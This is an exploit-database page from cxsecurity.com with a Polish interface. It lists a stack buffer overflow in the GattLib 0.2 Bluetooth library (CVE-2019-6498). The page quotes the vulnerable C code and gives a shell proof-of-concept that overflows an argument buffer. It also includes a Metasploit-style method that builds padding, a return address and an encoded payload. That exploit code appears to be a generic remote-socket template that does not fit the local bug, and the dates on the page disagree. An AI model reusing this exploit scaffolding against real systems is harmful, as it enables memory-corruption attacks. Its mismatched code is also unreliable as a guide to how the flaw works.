Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
GattLib 0.2 Stack Buffer Overflow
2019.01.22
Credit:
Mishra Dhiraj
Risk:
High
Local:
Yes
Remote:
No
CVE:
CVE-2019-6498
CWE:
CWE-119
Ogólna skala CVSS:
5.8/10
Znaczenie:
6.4/10
Łatwość wykorzystania:
6.5/10
Wymagany dostęp:
Sieć lokalna
Złożoność ataku:
Niska
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Częściowy
Wpływ na dostępność:
Częściowy
# Exploit Title: stack-based overflow # Date: 2019-11-21 # Exploit Author: Dhiraj Mishra # Vendor Homepage: http://labapart.com/ # Software Link: https://github.com/labapart/gattlib/issues/81 # Version: 0.2 # Tested on: Linux 4.15.0-38-generic # CVE: CVE-2019-6498 # References: # https://github.com/labapart/gattlib/issues/81 # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498 ## Summary: While fuzzing gattlib (Gattlib is a library to access GATT information from BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based buffer-overflow was observed. ## Vulnerable code from gattlib.c // Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87' strncpy(device_address_str, dst, sizeof(device_address_str)); for (i = 0; i < strlen(device_address_str); i++) { if (device_address_str[i] == ':') { device_address_str[i] = '_'; } } ## Vulnerable code from discover.c if (argc != 2) { printf("%s <device_address>\n", argv[0]); return 1; } connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW, 0, 0); if (connection == NULL) { fprintf(stderr, "Fail to connect to the bluetooth device.\n"); return 1; } ## PoC ./discover `python -c 'print "A"*20'` ## MSF code def exploit connect print_status("Sending #{payload.encoded.length} byte payload...") # Building the buffer for transmission buf = "A" * 20 buf += [ target.ret ].pack('V') buf += payload.encoded sock.put(buf) sock.get handler end
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top